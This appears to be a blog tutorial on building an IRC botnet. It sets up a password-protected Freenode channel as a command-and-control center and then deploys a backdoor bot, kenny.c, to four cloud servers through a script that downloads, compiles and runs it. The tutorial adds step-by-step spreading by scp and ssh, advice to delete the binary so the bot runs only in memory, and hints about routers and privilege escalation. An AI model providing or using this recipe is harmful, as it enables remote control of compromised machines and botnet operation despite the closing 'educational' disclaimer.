Simple IRC BotNet in 3 steps
It doesn't matter if you are a sysadmin or a hacker, if your budget is low and you are looking for a free way, maybe this tutorial will come in handy .
In this tutorial I will use Freenode IRC network, as IRC client MIRC and a simple old bot written in C .
Install MIRC
mIRC is a full featured Internet Relay Chat client for Windows that can be used to communicate, share, play or work with others on IRC networks around the world, either in multi-user group conferences or in one-to-one private discussions.
It has a clean, practical interface that is highly configurable and supports features such as buddy lists, file transfers, multi-server connections, IPv6, SSL encryption, proxy support, UTF-8 display, UPnP, customizable sounds, spoken messages, tray notifications, message logging, and more.
Let's open Mirc to create a channel where we will run my operation command center.
Click Continue twice.
Choose your nickname and click ok.
File -> Select Server.
Select Add.
As a server we will use Freenode server 195.154.200.232 or chat.freenode.net on port 6667
Click the Connect button.
The favorite window should popup if not on the tab menu click Favorite ->More... .
Now I will create a new channel - password protected. My channel will be called DigWalker and the password will be test123 .
To join or create a channel you can run on any window
/j <MyChannelName>
or you can join from Favorite window.
Let's set the password for the new channel.
Mouse click right on the channel window will show the option Channel Modes
Check the Key option, write the channel password and click ok.
Now we are ready! Our command and control center is ready and running.
Setup an environment
Basic architecture of what I want to accomplish should look like this.
It doesn't mater if bots are dockers or virtual server heck, it will work on some hardware too, like routers and BusyBox's.
Without IRC I will have a bunch of machines working and it will take me more time to configure all of them one by one- for instance if I want to run a "node js install" on all of them.
First lets start up some servers.
As "play ground" I choose Kamatera platform because you can really do things fast there.
Super fast, easy to use and all plans are transparent, with no hidden costs.
Select My Cloud->Servers -> Create New Server
Choose server zone. I choose Europe FRANKFURT
Choose server image. I selected Ubuntu.
The serves will have only Public Network.
Choose server specifications
Here I will generate 4 servers with same spec's and credentials.
I'm choosing hourly billing because the servers will be temporary.
Click CREATE SERVERS and your servers request will be added to the Tasks Queue.
Running the bots
As a bot I choose a little guy written by some one called Konewka.
https://dl.packetstormsecurity.net/irc/kenny.c
If the link will not work contact me for a copy.
The bot was designed to be a backdoor, very simple and will give us the power to run bash commands or disconnect from IRC network.
For something more robust I think you must implement some other options like password on commands, elevate an user permissions as "channel admin" etc...
In this tutorial I will use a "root user" so you need to take care of privilege escalation before going forward.
Login in bot1
Let's make a script to download, compile and run the bot.
mkdir myBot
cd myBot
vi run.sh
Paste the script
#/bin/bash
wget https://dl.packetstormsecurity.net/irc/kenny.c
apt install gcc -y
gcc kenny.c
./a.out chat.freenode.net:6667 DigWalker test123
echo "Bye bye bot on!"
Exit vim ":wq" to save as run.sh.
As you see I'm installing gcc and this will change depending on your system.
The bot will run on almost any system.
Make the script executable
chmod +x run.sh
Run the script
./run.sh
The bot is running.
As you see my bot is connected and listening to my inputs.
Let's copy the bot on the remaining servers.
We will not compile again because my servers are clones an they don't have different cpu or different OS.
scp -P 22 /root/a.out root@"bot2 server IP":/root/bot2.out
scp -P 22 /root/a.out root@"bot3 server IP":/root/bot3.out
scp -P 22 /root/a.out root@"bot4 server IP":/root/bot4.out
Now let's run the second bot
ssh root@63.250.59.18 ./bot2.out chat.freenode.net:6667 DigWalker test123
After we run the bot we will see it on the channel
Now i will do the same thing for bot3 and bot4 in the end i will get the a private channel accessible only with password, me as administrator and 4 bots.
At the end we will have something like this
Let's run some commands with the bots.
Because I write "!sys pwd" on the channels all the bots answered but, if i want only one bot to run something I can open a private message window and send the command only to that specific bot.
As you see the bot will answer on the channel.
We can send a private message from the channel window to a specific user:
/msg ZW11hQ10 !sys date
Now you can delete the botX.out file because the bot will run on memory.
If you deleted the bot file now you have 3 options to kill the bot:
1. Restart the bot OS
2. Send command from IRC "!exit"
3. Kill the bot process.
This article should be use only for educational for purpose only!
If you have any question fill free to drop a message on Facebook.